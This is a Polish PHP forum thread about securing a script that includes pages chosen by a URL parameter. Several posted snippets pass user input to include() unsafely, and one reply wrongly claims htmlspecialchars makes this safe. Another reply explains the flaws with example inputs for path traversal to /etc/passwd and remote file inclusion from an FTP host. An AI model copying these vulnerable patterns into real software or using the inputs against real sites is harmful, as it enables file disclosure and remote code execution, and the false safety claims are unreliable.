Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Problem z Include
Forum PHP.pl > Forum > PHP
Fragin
Witam.
Czy ten oto kod będzie bezpieczny? Tzn. że nikt np. nie będzie mógł podglądać plików?
Kod
<?php
    if ( $_GET['strona'] == "" ){
        include("news.php");
    }

    if ( $_GET['strona'] == "kontakt" ){
        include("kontakt.php");
    }
    else {
        include("error.php");
    }

?>

Bo troszkę go zmieniłem (w oryginale był krótszy), ale teraz jest problem bo jeśli wpisze samą nazwę strony (coś.pl) to zawartość news.php pojawia się dwa razy... A jeśli po strona= będzie np. omg to skrypt zamiast error.php pokazuje news.php. Można coś z tym zrobić? Szczególnie, że dość wolno to chodzi.
Dziękuje za pomoc
skowron-line
Lepiej użyj switch
  1.  
  2. $site = htmlspecialchars( $_GET[ 'site' ] );
  3.  
  4. switch( $site )
  5. {
  6. case 'news': include_once( 'news.php' ); break;
  7. case 'kontakt': include_once( 'kontakt.php' ); break;
  8. default: error.php;
  9. }
  10.  
Fragin
Ooo... dzięki. Zaraz spróbuje czy działa.
Rozumiem, że to bezpieczna metoda?
skowron-line
Bezpieczny gwarantuje to funkcja htmlspecialchars która ma przeciwdziałać atakom typu XSS.

Oczywiście dla większej ilości podstron będzie to uciążliwe dopisywanie cały czas do switch.

  1. <?php
  2.  
  3. if( isset( $_GET[ 'site' ] )
  4. {
  5. $site = htmlspecialchars( $_GET[ 'site' ] );
  6. if( file_exists( $site .'.php' ) == TRUE )
  7. {
  8. include_once( $site .'.php' );
  9. }
  10. else
  11. {
  12. include_once('error.php' );
  13. }
  14. }
  15. else
  16. {
  17. include_once( 'strona_glowna.php' );
  18. }
  19.  
  20. ?>
Fragin
Kod
Parse error: syntax error, unexpected '{' in index.php on line 30

Co w kodzie odpowiada temu miejscu:

Cytat
if( isset( $_GET[ 'site' ] )
{
skowron-line
Cytat(Fragin @ 2.02.2010, 23:31:56 ) *
Kod
Parse error: syntax error, unexpected '{' in index.php on line 30

Co w kodzie odpowiada temu miejscu:

Jak widać na Avatarze po lewej stronie nosze okulary i nie zauważyłem że za mało nawiasów jest.
Fragin
Nie twoja wina. W którym miejscu ma być nawias w takim razie?
skowron-line
Cytat(Fragin @ 2.02.2010, 23:35:15 ) *
Nie twoja wina. W którym miejscu ma być nawias w takim razie?


Stary chcesz programować a nie potrafisz namierzyć prostego błędu.
  1. if( issset( $_GET[ 'site' ] )) <------------tu 2 otwarajace nawiasy i 2 zamykające


Nie pisz więcej takich postów bo mod waranem Cie nagrodzi i nie chodzi tu o domowego pupila.
Fragin
Nie przesadzasz trochę? Ja się grzecznie pytam i od razu jakimś "waranem" mi grozisz?
A tak w ogóle. Nadal nie działa.
Kod
Fatal error: Call to undefined function issset() in index.php on line 29

oto linijka:
Kod
if( issset( $_GET[ 'site' ] ))
pyro
Zajrzyj do manuala i poszukaj tam funkcji "issset()". Nie ma takiej, prawda? Za to jest isset()
Fragin
Ooo... nie wywaliło żadnego błedu. Jutro zobaczę czemu jest jednak nic nie widać, być może usunełem pliki z serwera.
Dzięki za pomoc

//Jednak wszystko działa, dziękuje za pomoc jeszcze raz, można zamknąć!
XianN
Cytat(skowron-line @ 2.02.2010, 23:19:50 ) *
Bezpieczny gwarantuje to funkcja htmlspecialchars która ma przeciwdziałać atakom typu XSS.

Panie! Jak masz Pan takie rozwiazania polecac to moze sie akwizycja trojanow zajmij!
htmlspecialchars() nieczego tutaj nie gwarantuje, bo to zupelnie inna dzialka. XSS to atak na klienta po stronie przegladarki, a nie na serwer. Nazwy plikow natomiast niewiele maja wspolnego z html (poza rozszerzeniem w specyficznym wypadku...). Czas sie przeprosic z googlem.
Cytat(skowron-line @ 2.02.2010, 23:19:50 ) *
Oczywiście dla większej ilości podstron będzie to uciążliwe dopisywanie cały czas do switch.

Trudno. Mozesz sobie zrobic tablice i sprawdzac czy podana wartosc w $site jest jedna z wartosci, to bedziesz mial cos ala white list.

A do tego kodu, to moze malutkie omowienie jeszcze, zeby nikt nigdy wiecej takiego potworka na zywa strone nie wsadzil, bo ostatnio widzialem takie rozwiazanie u wroclawskiej firmy zajmujacej sie m. in. audytem bezpieczenstwa (sic!).

  1. if( isset( $_GET[ 'site' ] ) // parametr podajemy - w koncu chcemy manipulowac...
  2. {
  3. /**
  4.   /* nic nie robi w rzeczywistosci.
  5.   /* ./*;^ nie tknie aniani, dopiero < lub > sie przyczepi.
  6.   /* ../../../../../../../etc/passwd jest ok i pozostanie niezmienione przez htmlspecialchars
  7.   */
  8. $site = htmlspecialchars( $_GET[ 'site' ] );
  9.  
  10. /**
  11.   /* Jesli z jakichs powodow allow_url_fopen jest odpalone to juz jest masakra.
  12.   /* HTTP co prawda nie obsluguje stat(), ale FTP juz tak, zatem file_exists() zwroci === true
  13.   /* jesli znajdzie plik. Wynik?
  14.   /* http ://stronka.pl/index.php?site=ftp://chaker.pl/exploit i mamy problem.
  15.   /*
  16.   /* Wersja alternatywna - http ://stronka.pl/index.php?site=index i mamy rekurencje wcinajaca pamiec jak pacman kuleczki.
  17.   */
  18. if( file_exists( $site .'.php' ) == TRUE )
  19. {
  20. include_once( $site .'.php' );
  21. }
  22. else
  23. {
  24. include_once('error.php' );
  25. }
  26. }
  27. else
  28. {
  29. include_once( 'strona_glowna.php' );
  30. }
  31.  
  32. ?>
Fifi209
A ja robię to tak:
  1. if ($_GET['action']) {
  2. if (file_exists('actions/'.$_GET['action'].'.php')) {
  3. include_once('actions/'.$_GET['action'].'.php');
  4. }else{
  5. echo 'Not Found';
  6. }
  7. }else{
  8. //include_once('actions/news.php');
  9. }


Zaraz ktoś powinien czepić się zabezpieczeń, ale wszystko lata przez .htaccess więc dziwne znaki i tak nie przejdą.
XianN
Cytat(fifi209 @ 3.02.2010, 06:19:18 ) *
Zaraz ktoś powinien czepić się zabezpieczeń, ale wszystko lata przez .htaccess więc dziwne znaki i tak nie przejdą.

Mozesz pokazac ten kawalek .htaccess ?
Fifi209
Cytat(XianN @ 3.02.2010, 14:37:22 ) *
Mozesz pokazac ten kawalek .htaccess ?


Kod
RewriteRule ^([a-z]+)/$ index.php?action=$1 [L]


Proszę. smile.gif
XianN
No dobrze, ale brakuje fragmentu, ktory chroni przed wpisaniem index.php?action=../index bezposrednio w przegladare.
Fifi209
Cytat(XianN @ 4.02.2010, 18:06:21 ) *
No dobrze, ale brakuje fragmentu, ktory chroni przed wpisaniem index.php?action=../index bezposrednio w przegladare.

A skąd wiesz na jaki adres przekierowuję przez .htaccess?
XianN
Security through obscurity - Wikipedia, warto, zebys przeczytal na poczatek, potem wiecej o bezpieczenstwie informacji, a nastepnie zastanowil sie nad tematem.
Cytat
Jeśli wezmę list, zamknę go w sejfie, ukryję sejf gdzieś w Nowym Jorku i każę Ci go przeczytać, to nie jest bezpieczeństwo. To niejawność. Z drugiej strony, jeśli wezmę list, zamknę go w sejfie, a następnie przekażę Ci ten sejf wraz z jego specyfikacją techniczną oraz setką identycznych sejfów z ich kodami, abyś razem z najlepszymi włamywaczami świata mógł przestudiować jego zabezpieczenia – a Ty nadal nie będziesz go mógł otworzyć i przeczytać listu – to właśnie jest bezpieczeństwo.
— Bruce Schneier, Applied Cryptography
Fifi209
Zastanowiłbyś się nad tym co piszesz. Mogę to równie dobrze przekierować na pliki html. winksmiley.jpg Póki nikt nie ma dostępu do mojego serwera to nikt nie dowie się na jakiej zasadzie działa mój skrypt i jak przepisywane są adresy.
XianN
Dobrze, ze do kodu zrodlowego Internet Explorera nikt nie ma dostepu, bo mogloby sie okazac, ze jest tam blad... A tak to prosze, nigdy nikt nic nie znajdzie smile.gif Cale z reszta szczescie, bo IE ma tyu uzytkownikow - mogliby byc zagrozeni!
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.